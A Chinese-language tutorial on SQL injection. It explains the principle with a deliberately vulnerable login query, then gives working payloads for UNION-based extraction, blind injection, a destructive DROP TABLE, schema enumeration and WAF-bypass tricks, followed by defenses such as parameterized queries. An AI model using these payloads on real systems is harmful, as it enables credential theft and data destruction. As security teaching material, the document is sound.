SQL注入详解

我会从原理、利用方式到防御方法全面讲解SQL注入。

一、SQL注入原理

什么是SQL注入?

SQL注入是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意SQL代码,使其被数据库执行,从而绕过应用程序的安全机制。

核心原理

当应用程序使用字符串拼接方式构建SQL查询,且没有对用户输入进行充分验证和过滤时,攻击者可以注入额外的SQL语句。

脆弱代码示例:

1
2
3
4
5
6
7
# Python示例
username = request.POST['username']
password = request.POST['password']

# 危险:直接拼接SQL
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

正常输入:

  • 用户名:admin
  • 密码:123456
  • 生成SQL:SELECT * FROM users WHERE username='admin' AND password='123456'

恶意输入:

  • 用户名:admin' --
  • 密码:任意值
  • 生成SQL:SELECT * FROM users WHERE username='admin' --' AND password='任意值'

-- 是SQL注释符,后面的密码验证被注释掉,攻击者无需密码即可登录。

二、SQL注入类型

1. 基于联合查询的注入(Union-based)

通过UNION操作符合并查询结果,获取其他表的数据。

1
' UNION SELECT username, password FROM admin_users --

2. 基于错误的注入(Error-based)

通过触发数据库错误,从错误信息中获取数据库结构信息。

1
' AND 1=CONVERT(int, (SELECT @@version)) --

3. 基于布尔的盲注(Boolean-based Blind)

通过观察应用程序响应的差异(真/假)逐字猜解数据。

1
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' --

4. 基于时间的盲注(Time-based Blind)

利用数据库延迟函数判断条件真假。

1
' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0) --

5. 堆叠查询注入(Stacked Queries)

在一条语句中执行多个SQL操作。

1
'; DROP TABLE users; --

三、利用技巧

信息收集阶段

1. 判断注入点

1
2
3
4
5
6
7
8
9
# 尝试闭合引号
admin'
admin"
admin')
admin")

# 数学运算
1+1
1-1

2. 判断数据库类型

1
2
3
4
5
6
7
8
9
10
11
12
13
# MySQL
' AND 1=1 AND '1'='1
' AND SLEEP(5) --

# SQL Server
' AND 1=CONVERT(int,@@version) --

# Oracle
' AND 1=1 AND '1'='1
' UNION SELECT NULL FROM dual --

# PostgreSQL
' AND 1=1::int --

3. 获取数据库信息

1
2
3
4
5
6
7
8
9
# MySQL
' UNION SELECT 1,database(),user(),version() --
' UNION SELECT 1,schema_name FROM information_schema.schemata --

# 获取表名
' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database() --

# 获取列名
' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --

数据提取

1
2
3
4
5
6
7
8
# 提取用户数据
' UNION SELECT 1,username,password,email FROM users --

# 绕过字段数限制
' UNION SELECT NULL,NULL,NULL -- # 逐步增加NULL直到不报错

# 字符串连接
' UNION SELECT 1,CONCAT(username,':',password) FROM users --

常见绕过技巧

1. 注释符变体

1
2
3
4
5
--
#
/**/
--+
--;

2. 空格绕过

1
2
3
4
5
6
/**/
+
%20
%09
%0a
%0d

3. 关键字绕过

1
2
3
4
5
6
# 大小写混淆
SeLeCt
# 双写
UNIunionON
# 编码
%55NION (URL编码)

4. 引号绕过

1
2
3
4
# 使用十六进制
SELECT * FROM users WHERE username=0x61646d696e # admin的十六进制
# 使用CHAR函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

四、防御与修复方法

1. 参数化查询(最重要)

Python (使用参数化查询):

1
2
# 正确做法
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

Java (PreparedStatement):

1
2
3
4
5
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

PHP (PDO):

1
2
3
4
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:username AND password=:password");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();

Node.js (使用参数化):

1
2
3
4
5
6
connection.query('SELECT * FROM users WHERE username=? AND password=?', 
[username, password],
function(error, results) {
// 处理结果
}
);

2. ORM框架使用

1
2
3
4
5
# Django ORM
User.objects.filter(username=username, password=password)

# SQLAlchemy
session.query(User).filter(User.username==username, User.password==password).first()

3. 输入验证与过滤

1
2
3
4
5
6
7
8
9
10
11
12
import re

def validate_username(username):
# 只允许字母、数字、下划线
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("非法用户名格式")
return username

# 白名单验证
ALLOWED_SORT_FIELDS = ['id', 'username', 'created_at']
if sort_field not in ALLOWED_SORT_FIELDS:
sort_field = 'id'

4. 最小权限原则

1
2
3
4
5
-- 创建只有SELECT权限的用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON database.* TO 'webapp'@'localhost';

-- 不要使用root或管理员账户连接

5. 错误处理

1
2
3
4
5
6
7
8
# 不要暴露详细错误信息
try:
cursor.execute(query)
except Exception as e:
# 记录详细错误到日志
logger.error(f"数据库错误: {str(e)}")
# 返回通用错误给用户
return "操作失败,请稍后重试"

6. Web应用防火墙(WAF)

配置WAF规则检测SQL注入特征:

  • 常见注入关键字(UNION, SELECT, DROP等)
  • 注释符(–, #, /**/)
  • 特殊字符组合

7. 安全编码检查清单

✅ 使用参数化查询/预编译语句
✅ 永远不要拼接用户输入到SQL
✅ 使用ORM框架
✅ 输入验证(白名单优于黑名单)
✅ 最小权限数据库账户
✅ 不暴露详细错误信息
✅ 定期安全审计和代码审查
✅ 使用WAF作为额外防护层
✅ 对敏感数据加密存储
✅ 记录和监控异常查询

五、实战检测工具

  1. SQLMap - 自动化SQL注入工具
  2. Burp Suite - Web应用安全测试
  3. OWASP ZAP - 开源漏洞扫描器
  4. 手工测试 - 理解原理后的精准测试

总结

SQL注入的核心是永远不要信任用户输入。最有效的防御就是使用参数化查询,让数据库驱动自动处理转义和类型检查。记住:过滤和验证是辅助手段,参数化才是根本解决方案。